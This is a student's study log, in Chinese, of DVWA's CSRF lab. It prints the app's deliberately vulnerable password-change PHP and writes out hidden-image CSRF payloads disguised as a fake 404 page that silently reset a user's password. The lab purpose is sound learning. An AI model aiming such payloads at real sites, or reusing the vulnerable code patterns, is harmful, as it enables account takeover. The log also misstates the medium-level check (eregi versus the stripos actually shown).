web week four
内容:
- 学习CSRF(跨站请求伪造);
- 完成dvwa第三个模块CSRF;
- 继续学习php以及HTML
CSRF学习
一、概述
CSRF(跨站请求伪造),是指利用受害者尚未失效的身份认证信息(cookie、session会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害人的身份向服务器发送请求,从而完成非法操作(如转账、改密等)。
举个例子,你在向别人转钱的时候,钱转过去了,登陆的页面还没有关闭,那么这时候,突然有人又给你发过来发过来一个网址,对你有很大诱惑力,你在没有退出支付账号的同时点进网站,这时候,恶链接就会篡改你的支付账号和密码,达到自己目的。
二、DVWA操作
- low级别
首先对low级别进行bp抓包,可以看到他的cookie:
Cookie: security=low; PHPSESSID=sic1vgbnf1fdd10ip7rfcc28t6
以及它的url:
http://DVWA-master/vulnerabilities/csrf/?password_new=输的新密码&password_conf=输的确认密码&Change=Change#
这里我们确定的密码是:password
查看它的源代码,没有什么重重防护,可以说就是为了让你攻击的~
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
在这里我们可以直接通过进去链接进行密码的修改:
http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
但明眼人一看就能知道这明明就是请君入瓮的套路,傻子也不会点进去,这样的话,我们就要将把上面链接放在公网某个地址,当用户点击这个链接后,则出现下面页面,客户可能以为访问了一个失效页面。所以这里构造了一个html文档
<img src=" http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
然后在你输入password时就会login failed,这时候输入123456就能够成功进去。
- Medium
我们先用上述至今打开网址进行修改的方法进行请求伪造。结果:
可以看到,我们这里是改不了密码的。接下来查看源代码。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
源代码里发现多了一个这样的对比:
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )
是匹配主机名字的,如果主机名与发起请求的名字一样的时候,就可以完成改密码的攻击。
这时候我们就可以应用上述建立html文档的方式进行csrf攻击。
- high级别
我们可以用上述方法劲松csrf攻击,但都可以发现,我们这里high级别明显是用上述方法行不通,这样的话,我们先来看看源代码:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
High级别的代码加入了验证token机制,每次用户修改密码时,服务器会返回随机的token,向服务器再次发起请求时,需要提交token参数,而服务器收到token后,会首先检查token,只有token正确,才会继续处理客户端的请求。
所以这里,我们首先抓包找到token参数。
当当当当,在上述抓包中,我们找到了相应参数,把他放到我们的html文档中:
<img src=" http://localhost/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change&user_token=688237d81bc2cfbcdc23e6a5e023580e#"border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
好的,重新登录DVWA使用密码123456,成功进去,任务完成!
php以及html学习
php以及html的学习主要是通过B站的视频。这里就不进行阐述,由于时间原因,他的基础课程还没有学完(捂脸),但这周返校比较忙、乱,下个周将会更好!!!,具体概括我将在明天的总结中进行概括总结。